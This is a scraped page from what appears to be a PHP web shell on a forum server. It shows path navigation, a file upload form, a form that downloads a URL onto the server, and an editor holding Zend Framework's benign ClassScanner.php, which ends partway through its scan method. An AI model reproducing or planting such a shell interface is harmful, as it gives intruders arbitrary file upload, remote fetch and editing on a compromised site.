<table align="center" width="400" border="0" cellspacing="1" cellpadding="3"><tr><td>PathNow: <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/toxa">toxa</a>/<a href="?path=/var/www/toxa/data">data</a>/<a href="?path=/var/www/toxa/data/www">www</a>/<a href="?path=/var/www/toxa/data/www/xlab.team">xlab.team</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum">forum</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum/vendor">vendor</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum/vendor/zendframework">zendframework</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum/vendor/zendframework/zend-code">zend-code</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum/vendor/zendframework/zend-code/src">src</a>/<a href="?path=/var/www/toxa/data/www/xlab.team/forum/vendor/zendframework/zend-code/src/Scanner">Scanner</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST" action="?path=/var/www/toxa/data/www/xlab.team/forum/vendor/zendframework/zend-code/src/Scanner"><input name="up_file" type="file"/><input type="submit" value="up File"/></form></td></tr><tr><td><form method="POST" action="?path=/var/www/toxa/data/www/xlab.team/forum/vendor/zendframework/zend-code/src/Scanner"><span>Url: </span><input type=text name="url" value=""><input type="hidden" name="path" value="/var/www/toxa/data/www/xlab.team/forum/vendor/zendframework/zend-code/src/Scanner"><input type=submit value="Download"></form></td></tr><tr><td>Current File : /var/www/toxa/data/www/xlab.team/forum/vendor/zendframework/zend-code/src/Scanner/ClassScanner.php</tr></td></table><br /><form action="" method="post"><textarea style="width:100%;height:300px;" name="edit_content">&lt;?php
/**
 * Zend Framework (http://framework.zend.com/)
 *
 * @link      http://github.com/zendframework/zf2 for the canonical source repository
 * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com)
 * @license   http://framework.zend.com/license/new-bsd New BSD License
 */

namespace Zend\Code\Scanner;

use ReflectionClass;
use Zend\Code\Annotation;
use Zend\Code\Exception;
use Zend\Code\NameInformation;

class ClassScanner implements ScannerInterface
{
    /**
     * @var bool
     */
    protected $isScanned = false;

    /**
     * @var string
     */
    protected $docComment = null;

    /**
     * @var string
     */
    protected $name = null;

    /**
     * @var string
     */
    protected $shortName = null;

    /**
     * @var int
     */
    protected $lineStart = null;

    /**
     * @var int
     */
    protected $lineEnd = null;

    /**
     * @var bool
     */
    protected $isTrait = false;

    /**
     * @var bool
     */
    protected $isFinal = false;

    /**
     * @var bool
     */
    protected $isAbstract = false;

    /**
     * @var bool
     */
    protected $isInterface = false;

    /**
     * @var string
     */
    protected $parentClass = null;

    /**
     * @var string
     */
    protected $shortParentClass = null;

    /**
     * @var array
     */
    protected $interfaces = array();

    /**
     * @var array
     */
    protected $shortInterfaces = array();

    /**
     * @var array
     */
    protected $tokens = array();

    /**
     * @var NameInformation
     */
    protected $nameInformation = null;

    /**
     * @var array
     */
    protected $infos = array();

    /**
     * @var array
     */
    protected $traits = array();

    /**
     * @var array
     */
    protected $methods = array();

    /**
     * @param  array $classTokens
     * @param  NameInformation|null $nameInformation
     * @return ClassScanner
     */
    public function __construct(array $classTokens, NameInformation $nameInformation = null)
    {
        $this-&gt;tokens          = $classTokens;
        $this-&gt;nameInformation = $nameInformation;
    }

    /**
     * Get annotations
     *
     * @param  Annotation\AnnotationManager $annotationManager
     * @return Annotation\AnnotationCollection
     */
    public function getAnnotations(Annotation\AnnotationManager $annotationManager)
    {
        if (($docComment = $this-&gt;getDocComment()) == '') {
            return false;
        }

        return new AnnotationScanner($annotationManager, $docComment, $this-&gt;nameInformation);
    }

    /**
     * Return documentation comment
     *
     * @return null|string
     */
    public function getDocComment()
    {
        $this-&gt;scan();

        return $this-&gt;docComment;
    }

    /**
     * Return documentation block
     *
     * @return false|DocBlockScanner
     */
    public function getDocBlock()
    {
        if (!$docComment = $this-&gt;getDocComment()) {
            return false;
        }

        return new DocBlockScanner($docComment);
    }

    /**
     * Return a name of class
     *
     * @return null|string
     */
    public function getName()
    {
        $this-&gt;scan();
        return $this-&gt;name;
    }

    /**
     * Return short name of class
     *
     * @return null|string
     */
    public function getShortName()
    {
        $this-&gt;scan();
        return $this-&gt;shortName;
    }

    /**
     * Return number of first line
     *
     * @return int|null
     */
    public function getLineStart()
    {
        $this-&gt;scan();
        return $this-&gt;lineStart;
    }

    /**
     * Return number of last line
     *
     * @return int|null
     */
    public function getLineEnd()
    {
        $this-&gt;scan();
        return $this-&gt;lineEnd;
    }

    /**
     * Verify if class is final
     *
     * @return bool
     */
    public function isFinal()
    {
        $this-&gt;scan();
        return $this-&gt;isFinal;
    }

    /**
     * Verify if class is a trait
     * @return bool
     */
    public function isTrait()
    {
        $this-&gt;scan();
        return $this-&gt;isTrait;
    }

    /**
     * Verify if class is instantiable
     *
     * @return bool
     */
    public function isInstantiable()
    {
        $this-&gt;scan();
        return (!$this-&gt;isAbstract &amp;&amp; !$this-&gt;isInterface);
    }

    /**
     * Verify if class is an abstract class
     *
     * @return bool
     */
    public function isAbstract()
    {
        $this-&gt;scan();
        return $this-&gt;isAbstract;
    }

    /**
     * Verify if class is an interface
     *
     * @return bool
     */
    public function isInterface()
    {
        $this-&gt;scan();
        return $this-&gt;isInterface;
    }

    /**
     * Verify if class has parent
     *
     * @return bool
     */
    public function hasParentClass()
    {
        $this-&gt;scan();
        return ($this-&gt;parentClass !== null);
    }

    /**
     * Return a name of parent class
     *
     * @return null|string
     */
    public function getParentClass()
    {
        $this-&gt;scan();
        return $this-&gt;parentClass;
    }

    /**
     * Return a list of interface names
     *
     * @return array
     */
    public function getInterfaces()
    {
        $this-&gt;scan();
        return $this-&gt;interfaces;
    }

    /**
     * Return a list of constant names
     *
     * @return array
     */
    public function getConstantNames()
    {
        $this-&gt;scan();

        $return = array();
        foreach ($this-&gt;infos as $info) {
            if ($info['type'] != 'constant') {
                continue;
            }

            $return[] = $info['name'];
        }

        return $return;
    }

    /**
     * Return a list of constants
     *
     * @param  bool $namesOnly Set false to return instances of ConstantScanner
     * @return array|ConstantScanner[]
     */
    public function getConstants($namesOnly = true)
    {
        if (true === $namesOnly) {
            trigger_error('Use method getConstantNames() instead', E_USER_DEPRECATED);
            return $this-&gt;getConstantNames();
        }

        $this-&gt;scan();

        $return = array();
        foreach ($this-&gt;infos as $info) {
            if ($info['type'] != 'constant') {
                continue;
            }

            $return[] = $this-&gt;getConstant($info['name']);
        }

        return $return;
    }

    /**
     * Return a single constant by given name or index of info
     *
     * @param  string|int $constantNameOrInfoIndex
     * @throws Exception\InvalidArgumentException
     * @return bool|ConstantScanner
     */
    public function getConstant($constantNameOrInfoIndex)
    {
        $this-&gt;scan();

        if (is_int($constantNameOrInfoIndex)) {
            $info = $this-&gt;infos[$constantNameOrInfoIndex];
            if ($info['type'] != 'constant') {
                throw new Exception\InvalidArgumentException('Index of info offset is not about a constant');
            }
        } elseif (is_string($constantNameOrInfoIndex)) {
            $constantFound = false;
            foreach ($this-&gt;infos as $info) {
                if ($info['type'] === 'constant' &amp;&amp; $info['name'] === $constantNameOrInfoIndex) {
                    $constantFound = true;
                    break;
                }
            }
            if (!$constantFound) {
                return false;
            }
        } else {
            throw new Exception\InvalidArgumentException(
                'Invalid constant name of info index type.  Must be of type int or string'
            );
        }
        if (!isset($info)) {
            return false;
        }
        $p = new ConstantScanner(
            array_slice($this-&gt;tokens, $info['tokenStart'], $info['tokenEnd'] - $info['tokenStart'] + 1),
            $this-&gt;nameInformation
        );
        $p-&gt;setClass($this-&gt;name);
        $p-&gt;setScannerClass($this);
        return $p;
    }

    /**
     * Verify if class has constant
     *
     * @param  string $name
     * @return bool
     */
    public function hasConstant($name)
    {
        $this-&gt;scan();

        foreach ($this-&gt;infos as $info) {
            if ($info['type'] === 'constant' &amp;&amp; $info['name'] === $name) {
                return true;
            }
        }

        return false;
    }

    /**
     * Return a list of property names
     *
     * @return array
     */
    public function getPropertyNames()
    {
        $this-&gt;scan();

        $return = array();
        foreach ($this-&gt;infos as $info) {
            if ($info['type'] != 'property') {
                continue;
            }

            $return[] = $info['name'];
        }

        return $return;
    }

    /**
     * Return a list of properties
     *
     * @return PropertyScanner[]
     */
    public function getProperties()
    {
        $this-&gt;scan();

        $return = array();
        foreach ($this-&gt;infos as $info) {
            if ($info['type'] != 'property') {
                continue;
            }

            $return[] = $this-&gt;getProperty($info['name']);
        }

        return $return;
    }

    /**
     * Return a single property by given name or index of info
     *
     * @param  string|int $propertyNameOrInfoIndex
     * @throws Exception\InvalidArgumentException
     * @return bool|PropertyScanner
     */
    public function getProperty($propertyNameOrInfoIndex)
    {
        $this-&gt;scan();

        if (is_int($propertyNameOrInfoIndex)) {
            $info = $this-&gt;infos[$propertyNameOrInfoIndex];
            if ($info['type'] != 'property') {
                throw new Exception\InvalidArgumentException('Index of info offset is not about a property');
            }
        } elseif (is_string($propertyNameOrInfoIndex)) {
            $propertyFound = false;
            foreach ($this-&gt;infos as $info) {
                if ($info['type'] === 'property' &amp;&amp; $info['name'] === $propertyNameOrInfoIndex) {
                    $propertyFound = true;
                    break;
                }
            }
            if (!$propertyFound) {
                return false;
            }
        } else {
            throw new Exception\InvalidArgumentException(
                'Invalid property name of info index type.  Must be of type int or string'
            );
        }
        if (!isset($info)) {
            return false;
        }
        $p = new PropertyScanner(
            array_slice($this-&gt;tokens, $info['tokenStart'], $info['tokenEnd'] - $info['tokenStart'] + 1),
            $this-&gt;nameInformation
        );
        $p-&gt;setClass($this-&gt;name);
        $p-&gt;setScannerClass($this);
        return $p;
    }

    /**
     * Verify if class has property
     *
     * @param  string $name
     * @return bool
     */
    public function hasProperty($name)
    {
        $this-&gt;scan();

        foreach ($this-&gt;infos as $info) {
            if ($info['type'] === 'property' &amp;&amp; $info['name'] === $name) {
                return true;
            }
        }

        return false;
    }

    /**
     * Retrieve any traits used by the class.
     *
     * @return ClassScanner[]
     */
    public function getTraits()
    {
        if (! empty($this-&gt;traits)) {
            return $this-&gt;traits;
        }

        // get list of trait names
        $traitNames = $this-&gt;getTraitNames();
        foreach ($traitNames as $traitName) {
            $r = new ReflectionClass($traitName);
            if (! $r-&gt;isTrait()) {
                throw new Exception\RuntimeException(sprintf(
                    'Non-trait class detected as a trait: %s',
                    $traitName
                ));
            }
            $fileName = $r-&gt;getFileName();

            $file = new FileScanner($fileName);
            $this-&gt;traits[] = $file-&gt;getClass($traitName);
        }

        return $this-&gt;traits;
    }

    /**
     * Retrieve a list of trait names used by this class.
     *
     * @return array
     */
    public function getTraitNames()
    {
        $return = array();
        foreach ($this-&gt;infos as $info) {
            if ($info['type'] !== 'use') {
                continue;
            }

            if (is_array($info['use_statements'])) {
                foreach ($info['use_statements'] as $trait) {
                    $traitName = $trait;
                    if ($this-&gt;nameInformation instanceof NameInformation) {
                        $traitName = $this-&gt;nameInformation-&gt;resolveName($traitName);
                    }
                    $return[] = $traitName;
                }
            }
            break;
        }

        return $return;
    }

    /**
     * Retrieve a list of aliased traits used by the class.
     *
     * @return array
     */
    public function getTraitAliases()
    {
        $return = array();
        foreach ($this-&gt;infos as $info) {
            if ($info['type'] !== 'use') {
                continue;
            }

            if (is_array($info['aliases'])) {
                foreach ($info['aliases'] as $alias) {
                    if (null === $alias
                        || (! empty($alias['type']) &amp;&amp; $alias['type'] !== 'as')
                    ) {
                        continue;
                    }

                    // attempt to get fqcn
                    list($trait, $method) = explode('::', $alias['original']);
                    if ($this-&gt;nameInformation instanceof NameInformation) {
                        $trait = $this-&gt;nameInformation-&gt;resolveName($trait);
                    }

                    $return[$alias['alias']] = $trait . '::' . $method;
                }
            }
            break;
        }

        return $return;
    }

    /**
     * Retrieve visibility for a given alias.
     *
     * @param mixed $aliasName
     * @return string
     */
    protected function getVisibilityForAlias($aliasName)
    {
        $return = null;
        foreach ($this-&gt;infos as $info) {
            if ($info['type'] !== 'use') {
                continue;
            }

            if (is_array($info['aliases'])) {
                foreach ($info['aliases'] as $alias) {
                    if (null === $alias
                        &amp;&amp; (! empty($alias['type']) &amp;&amp; $alias['type'] !== 'as')
                    ) {
                        continue;
                    }

                    if ($alias['alias'] === $aliasName) {
                        $return = $alias['visibility'];
                        break 2;
                    }
                }
            }
            break;
        }

        return $return;
    }

    /**
     * Return an array of key = trait to keep, value = trait::method to ignore
     *
     * @return array
     */
    protected function getBlockedTraitMethods()
    {
        $return = array();
        foreach ($this-&gt;infos as $info) {
            if ($info['type'] !== 'use') {
                continue;
            }

            if (is_array($info['aliases'])) {
                foreach ($info['aliases'] as $alias) {
                    if (null === $alias
                        || (! empty($alias['type']) &amp;&amp; $alias['type'] !== 'insteadof')
                    ) {
                        continue;
                    }

                    // attempt to get fqcn
                    list($trait, $method) = explode('::', $alias['original']);
                    if ($this-&gt;nameInformation instanceof NameInformation) {
                        $trait = $this-&gt;nameInformation-&gt;resolveName($alias['alias']);
                    }

                    $return[] = $trait . '::' . $method;
                }
            }
            break;
        }

        return $return;
    }

    /**
     * Return a list of method names
     *
     * @return array
     */
    public function getMethodNames()
    {
        $this-&gt;scan();

        $methods = $this-&gt;getMethods();
        $return = array();
        foreach ($methods as $method) {
            $return[] = $method-&gt;getName();
        }

        return $return;
    }

    /**
     * Return a list of methods
     *
     * @return MethodScanner[]
     */
    public function getMethods()
    {
        $this-&gt;scan();

        if (! empty($this-&gt;methods)) {
            return $this-&gt;methods;
        }

        foreach ($this-&gt;infos as $info) {
            if ($info['type'] !== 'method' &amp;&amp; $info['type'] !== 'use') {
                continue;
            }

            // Merge in trait methods
            if ($info['type'] === &quot;use&quot;) {
                $traitMethods = array();
                $traits       = $this-&gt;getTraits();
                $insteadof    = $this-&gt;getBlockedTraitMethods();
                $aliases      = $this-&gt;getTraitAliases();

                foreach ($traits as $trait) {
                    $tempMethods = $trait-&gt;getMethods();
                    foreach ($tempMethods as $tempMethod) {
                        $methodFullName = $trait-&gt;getName() . '::' . $tempMethod-&gt;getName();
                        $methodAlias = array_search($methodFullName, $aliases);

                        if (false !== $methodAlias) {
                            // trait::method is aliased
                            // clone the tempMethod as we need to change
                            // the name and possibly the visibility of the
                            // scanned method.
                            //
                            // @todo setName and setVisibility were added to
                            // MethodScanner to accomplish this, may not be the
                            // best option, could use ReflectionClass instead?
                            $newMethod = clone $tempMethod;
                            $newMethod-&gt;setName($methodAlias);

                            // if visibility exists, change it on the MethodScanner
                            $visibility = $this-&gt;getVisibilityForAlias($methodAlias);
                            if (null !== $visibility) {
                                $newMethod-&gt;setVisibility($visibility);
                            }
                            $traitMethods[$methodAlias] = $newMethod;
                        } elseif (in_array($methodFullName, $insteadof)) {
                            // ignore overridden methods
                            continue;
                        } else {
                            if (array_key_exists($tempMethod-&gt;getName(), $traitMethods)) {
                                throw new Exception\RuntimeException(sprintf(
                                    'Trait method %s has not been applied because there are'
                                    . ' collisions with other trait methods see: (insteadof OR as)',
                                    $tempMethod-&gt;getName()
                                ));
                            }

                            $traitMethods[$tempMethod-&gt;getName()] = $tempMethod;
                        }
                    }
                }

                $this-&gt;methods = array_merge($this-&gt;methods, array_values($traitMethods));
                continue;
            }

            $m = new MethodScanner(
                array_slice(
                    $this-&gt;tokens,
                    $info['tokenStart'],
                    $info['tokenEnd'] - $info['tokenStart'] + 1
                ),
                $this-&gt;nameInformation
            );
            $m-&gt;setClass($this-&gt;name);
            $m-&gt;setScannerClass($this);

            $this-&gt;methods[] = $m;
        }

        return $this-&gt;methods;
    }

    /**
     * Return a single method by given name or index of info
     *
     * @param  string|int $methodNameOrInfoIndex
     * @throws Exception\InvalidArgumentException
     * @return MethodScanner
     */
    public function getMethod($methodNameOrInfoIndex)
    {
        $this-&gt;scan();

        if (is_int($methodNameOrInfoIndex)) {
            $info = $this-&gt;infos[$methodNameOrInfoIndex];
            if ($info['type'] != 'method') {
                throw new Exception\InvalidArgumentException('Index of info offset is not about a method');
            }
            $methodNameOrInfoIndex = $info['name'];
        }

        $returnMethod = false;
        $methods = $this-&gt;getMethods();
        foreach ($methods as $method) {
            if ($method-&gt;getName() === $methodNameOrInfoIndex) {
                $returnMethod = $method;
                break;
            }
        }

        return $returnMethod;
    }

    /**
     * Verify if class has method by given name
     *
     * @param  string $name
     * @return bool
     */
    public function hasMethod($name)
    {
        $this-&gt;scan();

        return is_object($this-&gt;getMethod($name));
    }

    public static function export()
    {
        // @todo
    }

    public function __toString()
    {
        // @todo
    }

    /**
     * Scan tokens
     *
     * @return void
     * @throws Exception\RuntimeException
     */
    protected function scan()
    {
        if ($this-&gt;isScanned) {
            return;
        }

        if (!$this-&gt;tokens) {
            throw new Exception\RuntimeException('No tokens were provided');
        }

        /**
         * Variables &amp; Setup
         */

        $tokens       = &amp;$this-&gt;tokens; // localize
        $infos        = &amp;$this-&gt;infos; // localize
        $tokenIndex   = null;
        $token        = null;
        $tokenType    = null;
        $tokenContent = null;
        $tokenLine    = null;
        $namespace    = null;
        $infoIndex    = 0;
        $braceCount   = 0;

        /*
         * MACRO creation
         */
        $MACRO_TOKEN_ADVANCE = function () use (
            &amp;$tokens,
            &amp;$tokenIndex,
            &amp;$token,
            &amp;$tokenType,
            &amp;$tokenContent,
            &amp;$tokenLine
        ) {
            static $lastTokenArray = null;
            $tokenIndex = ($tokenIndex === null) ? 0 : $tokenIndex + 1;
            if (!isset($tokens[$tokenIndex])) {
                $token        = false;
                $tokenContent = false;
                $tokenType    = false;
                $tokenLine    = false;

                return false;
            }
            $token = $tokens[$tokenIndex];

            if (is_string($token)) {
                $tokenType    = null;
                $tokenContent = $token;
                $tokenLine    = $tokenLine + substr_count(
                    $lastTokenArray[1],
                    &quot;\n&quot;
                ); // adjust token line by last known newline count
            } else {
                $lastTokenArray = $token;
                list($tokenType, $tokenContent, $tokenLine) = $token;
            }

            return $tokenIndex;
        };
        $MACRO_INFO_ADVANCE  = function () use (&amp;$infoIndex, &amp;$infos, &amp;$tokenIndex, &amp;$tokenLine) {
            $infos[$infoIndex]['tokenEnd'] = $tokenIndex;
            $infos[$infoIndex]['lineEnd']  = $tokenLine;
            $infoIndex++;

            return $infoIndex;
        };

        /**
         * START FINITE STATE MACHINE FOR SCANNING TOKENS
         */

        // Initialize token
        $MACRO_TOKEN_ADVANCE();

        SCANNER_TOP:

        switch ($tokenType) {

            case T_DOC_COMMENT:

                $this-&gt;docComment = $tokenContent;
                goto SCANNER_CONTINUE;
                //goto no break needed

            case T_FINAL:
            case T_ABSTRACT:
            case T_CLASS:
            case T_INTERFACE:
            case T_TRAIT:

                // CLASS INFORMATION

                $classContext        = null;
                $classInterfaceIndex = 0;

                SCANNER_CLASS_INFO_TOP:

                if (is_string($tokens[$tokenIndex + 1]) &amp;&amp; $tokens[$tokenIndex + 1] === '{') {
                    goto SCANNER_CLASS_INFO_END;
                }

                $this-&gt;lineStart = $tokenLine;

                switch ($tokenType) {

                    case T_FINAL:
                        $this-&gt;isFinal = true;
                        goto SCANNER_CLASS_INFO_CONTINUE;
                        // goto no break needed

                    case T_ABSTRACT:
                        $this-&gt;isAbstract = true;
                        goto SCANNER_CLASS_INFO_CONTINUE;
                        // goto no break needed

                    case T_TRAIT:
                        $this-&gt;isTrait = true;
                        $this-&gt;shortName = $tokens[$tokenIndex + 2][1];
                        if ($this-&gt;nameInformation &amp;&amp; $this-&gt;nameInformation-&gt;hasNamespace()) {
                            $this-&gt;name = $this-&gt;nameInformation-&gt;getNamespace() . '\\' . $this-&gt;shortName;
                        } else {
                            $this-&gt;name = $this-&gt;shortName;
                        }
                        goto SCANNER_CLASS_INFO_CONTINUE;

                    case T_INTERFACE:
                        $this-&gt;isInterface = true;
                        //fall-through
                    case T_CLASS:
                        $this-&gt;shortName = $tokens[$tokenIndex + 2][1];
                        if ($this-&gt;nameInformation &amp;&amp; $this-&gt;nameInformation-&gt;hasNamespace()) {
                            $this-&gt;name = $this-&gt;nameInformation-&gt;getNamespace() . '\\' . $this-&gt;shortName;
                        } else {
                            $this-&gt;name = $this-&gt;shortName;
                        }
                        goto SCANNER_CLASS_INFO_CONTINUE;
                        //goto no break needed

                    case T_NS_SEPARATOR:
                    case T_STRING:
                        switch ($classContext) {
                            case T_EXTENDS:
                                $this-&gt;shortParentClass .= $tokenContent;
                                break;
                            case T_IMPLEMENTS:
                                $this-&gt;shortInterfaces[$classInterfaceIndex] .= $tokenContent;
                                break;
                        }
                        goto SCANNER_CLASS_INFO_CONTINUE;
                        //goto no break needed

                    case T_EXTENDS:
                    case T_IMPLEMENTS:
                        $classContext = $tokenType;
                        if (($this-&gt;isInterface &amp;&amp; $classContext === T_EXTENDS) || $classContext === T_IMPLEMENTS) {
                            $this-&gt;shortInterfaces[$classInterfaceIndex] = '';
                        } elseif (!$this-&gt;isInterface &amp;&amp; $classContext === T_EXTENDS) {
                            $this-&gt;shortParentClass = '';
                        }
                        goto SCANNER_CLASS_INFO_CONTINUE;
                        //goto no break needed

                    case null:
                        if ($classContext == T_IMPLEMENTS &amp;&amp; $tokenContent == ',') {
                            $classInterfaceIndex++;
                            $this-&gt;shortInterfaces[$classInterfaceIndex] = '';
                        }

                }

                SCANNER_CLASS_INFO_CONTINUE:

                if ($MACRO_TOKEN_ADVANCE() === false) {
                    goto SCANNER_END;
                }
                goto SCANNER_CLASS_INFO_TOP;

                SCANNER_CLASS_INFO_END:

                goto SCANNER_CONTINUE;

        }

        if ($tokenType === null &amp;&amp; $tokenContent === '{' &amp;&amp; $braceCount === 0) {
            $braceCount++;
            if ($MACRO_TOKEN_ADVANCE() === false) {
                goto SCANNER_END;
            }

            SCANNER_CLASS_BODY_TOP:

            if ($braceCount === 0) {
                goto SCANNER_CLASS_BODY_END;
            }

            switch ($tokenType) {

                case T_CONST:

                    $infos[$infoIndex] = array(
                        'type'          =&gt; 'constant',
                        'tokenStart'    =&gt; $tokenIndex,
                        'tokenEnd'      =&gt; null,
                        'lineStart'     =&gt; $tokenLine,
                        'lineEnd'       =&gt; null,
                        'name'          =&gt; null,
                        'value'         =&gt; null,
                    );

                    SCANNER_CLASS_BODY_CONST_TOP:

                    if ($tokenContent === ';') {
                        goto SCANNER_CLASS_BODY_CONST_END;
                    }

                    if ($tokenType === T_STRING &amp;&amp; null === $infos[$infoIndex]['name']) {
                        $infos[$infoIndex]['name'] = $tokenContent;
                    }

                    SCANNER_CLASS_BODY_CONST_CONTINUE:

                    if ($MACRO_TOKEN_ADVANCE() === false) {
                        goto SCANNER_END;
                    }
                    goto SCANNER_CLASS_BODY_CONST_TOP;

                    SCANNER_CLASS_BODY_CONST_END:

                    $MACRO_INFO_ADVANCE();
                    goto SCANNER_CLASS_BODY_CONTINUE;
                    // goto no break needed

                case T_USE:
                    // ensure php backwards compatibility
                    if (! defined('T_INSTEADOF')) {
                        define('T_INSTEADOF', 24000);
                    }

                    $infos[$infoIndex] = array(
                        'type'           =&gt; 'use',
                        'tokenStart'     =&gt; $tokenIndex,
                        'tokenEnd'       =&gt; null,
                        'lineStart'      =&gt; $tokens[$tokenIndex][2],
                        'lineEnd'        =&gt; null,
                        'name'           =&gt; $namespace,
                        'use_statements' =&gt; array(0 =&gt; null),
                        'aliases'        =&gt; array(0 =&gt; null),
                    );

                    $isOriginalName = array(T_STRING, T_DOUBLE_COLON);
                    $isAlias        = array(T_STRING);
                    $isVisibility   = array(T_PRIVATE, T_PROTECTED, T_PUBLIC, T_STATIC);
                    $isAliasType    = array(T_AS, T_INSTEADOF);
                    $isValidAlias   = array_merge($isOriginalName, $isAlias, $isVisibility, $isAliasType);

                    $useStatementIndex   = 0;
                    $aliasStatementIndex = 0;
                    $useAliasContext     = false;
                    $useAsContext        = false;

                    // start processing with next token
                    if ($MACRO_TOKEN_ADVANCE() === false) {
                        goto SCANNER_END;
                    }

                    SCANNER_USE_TOP:

                    if ($tokenType === null) {
                        if ($tokenContent === &quot;{&quot;) {
                            $useStatementIndex = 0;
                            $useAliasContext   = true;
                            $infos[$infoIndex]['aliases'][$useStatementIndex] = array(
                                'original'   =&gt; null,
                                'alias'      =&gt; null,
                                'visibility' =&gt; null,
                                'type'       =&gt; 'as'
                            );
                        } elseif ($tokenContent === &quot;}&quot;) {
                            $useAliasContext = false;
                            goto SCANNER_USE_END;
                        } elseif ($tokenContent === ';') {
                            if ($useAliasContext === true) {
                                $useStatementIndex++;
                                $useAsContext = false;
                            }
                            // only end if we aren't inside braces
                            if (false === $useAliasContext) {
                                goto SCANNER_USE_END;
                            }
                        } elseif ($tokenContent === ',') {
                            $useStatementIndex++;
                            $infos[$infoIndex]['use_statements'][$useStatementIndex] = '';
                        }
                    }

                    // ANALYZE
                    if ($tokenType !== null) {
                        // use context
                        if (false === $useAliasContext) {
                            if ($tokenType == T_NS_SEPARATOR || $tokenType == T_STRING) {
                                $infos[$infoIndex]['use_statements'][$useStatementIndex] .= $tokenContent;
                            }
                        } else {
                            if (in_array($tokenType, $isValidAlias)
                                &amp;&amp; empty($infos[$infoIndex]['aliases'][$useStatementIndex])
                            ) {
                                $infos[$infoIndex]['aliases'][$useStatementIndex] = array(
                                    'original'   =&gt; null,
                                    'visibility' =&gt; null,
                                    'alias'      =&gt; null,
                                    'type'       =&gt; null
                                );
                            }

                            if ($tokenType == T_AS || $tokenType == T_INSTEADOF) {
                                $useAsContext = true;
                                $infos[$infoIndex]['aliases'][$useStatementIndex]['type'] = ($tokenType == T_INSTEADOF)
                                    ? 'insteadof'
                                    : 'as';
                                goto SCANNER_USE_CONTINUE;
                            }

                            // in alias context
                            if ($useAsContext === true &amp;&amp; in_array($tokenType, $isAlias)) {
                                $infos[$infoIndex]['aliases'][$useStatementIndex]['alias'] = $tokenContent;
                            } elseif (in_array($tokenType, $isOriginalName)) {
                                $infos[$infoIndex]['aliases'][$useStatementIndex]['original'] .= $tokenContent;
                            } elseif (in_array($tokenType, $isVisibility)) {
                                //add whitespace (will trim later)
                                $infos[$infoIndex]['aliases'][$useStatementIndex]['visibility'] = $tokenType;
                            }
                        }
                    }

                    SCANNER_USE_CONTINUE:

                    if ($MACRO_TOKEN_ADVANCE() === false) {
                        goto SCANNER_END;
                    }
                    goto SCANNER_USE_TOP;

                    SCANNER_USE_END:

                    $MACRO_INFO_ADVANCE();
                    goto SCANNER_CLASS_BODY_CONTINUE;

                case T_DOC_COMMENT:
                case T_PUBLIC:
                case T_PROTECTED:
                case T_PRIVATE:
                case T_ABSTRACT:
                case T_FINAL:
                case T_VAR:
                case T_FUNCTION:

                    $infos[$infoIndex] = array(
                        'type'        =&gt; null,
                        'tokenStart'  =&gt; $tokenIndex,
                        'tokenEnd'    =&gt; null,
                        'lineStart'   =&gt; $tokenLine,
                        'lineEnd'     =&gt; null,
                        'name'        =&gt; null,
                    );

                    $memberContext     = null;
                    $methodBodyStarted = false;

                    SCANNER_CLASS_BODY_MEMBER_TOP:

                    if ($memberContext === 'method') {
                        switch ($tokenContent) {
                            case '{':
                                $methodBodyStarted = true;
                                $braceCount++;
                                goto SCANNER_CLASS_BODY_MEMBER_CONTINUE;
                                // goto no break needed
                            case '}':
                                $braceCount--;
                                goto SCANNER_CLASS_BODY_MEMBER_CONTINUE;

                            case ';':
                                $infos[$infoIndex]['tokenEnd'] = $tokenIndex;
                                goto SCANNER_CLASS_BODY_MEMBER_CONTINUE;
                        }
                    }

                    if ($memberContext !== null) {
                        if (
                            ($memberContext === 'property' &amp;&amp; $tokenContent === ';')
                            || ($memberContext === 'method' &amp;&amp; $methodBodyStarted &amp;&amp; $braceCount === 1)
                            || ($memberContext === 'method' &amp;&amp; $this-&gt;isInterface &amp;&amp; $tokenContent === ';')
                        ) {
                            goto SCANNER_CLASS_BODY_MEMBER_END;
                        }
                    }

                    switch ($tokenType) {

                        case T_CONST:
                            $memberContext             = 'constant';
                            $infos[$infoIndex]['type'] = 'constant';
                            goto SCANNER_CLASS_BODY_CONST_CONTINUE;
                            //goto no break needed

                        case T_VARIABLE:
                            if ($memberContext === null) {
                                $memberContext             = 'property';
                                $infos[$infoIndex]['type'] = 'property';
                                $infos[$infoIndex]['name'] = ltrim($tokenContent, '$');
                            }
                            goto SCANNER_CLASS_BODY_MEMBER_CONTINUE;
                            // goto no break needed

                        case T_FUNCTION:
                            $memberContext             = 'method';
                            $infos[$infoIndex]['type'] = 'method';
                            goto SCANNER_CLASS_BODY_MEMBER_CONTINUE;
                            // goto no break needed

                        case T_STRING:
                            if ($memberContext === 'method' &amp;&amp; null === $infos[$infoIndex]['name']) {
                                $infos[$infoIndex]['name'] = $tokenContent;
                            }
                            goto SCANNER_CLASS_BODY_MEMBER_CONTINUE;
                            // goto no break needed
                    }

                    SCANNER_CLASS_BODY_MEMBER_CONTINUE:

                    if ($MACRO_TOKEN_ADVANCE() === false) {
                        goto SCANNER_END;
                    }
                    goto SCANNER_CLASS_BODY_MEMBER_TOP;

                    SCANNER_CLASS_BODY_MEMBER_END:

                    $memberContext = null;
                    $MACRO_INFO_ADVANCE();
                    goto SCANNER_CLASS_BODY_CONTINUE;
                    // goto no break needed

                case null: // no type, is a string

                    switch ($tokenContent) {
                        case '{':
                            $braceCount++;
                            goto SCANNER_CLASS_BODY_CONTINUE;
                            // goto no break needed

                        case '}':
                            $braceCount--;
                            goto SCANNER_CLASS_BODY_CONTINUE;
                    }
            }

            SCANNER_CLASS_BODY_CONTINUE:

            if ($braceCount === 0 || $MACRO_TOKEN_ADVANCE() === false) {
                goto SCANNER_CONTINUE;
            }
            goto SCANNER_CLASS_BODY_TOP;

            SCANNER_CLASS_BODY_END:

            goto SCANNER_CONTINUE;
        }

        SCANNER_CONTINUE:

        if ($tokenContent === '}') {
            $this-&gt;lineEnd = $tokenLine;
        }

        if ($MACRO_TOKEN_ADVANCE() === false) {
            goto SCANNER_END;
        }
        goto SCANNER_TOP;

        SCANNER_END:

        // process short names
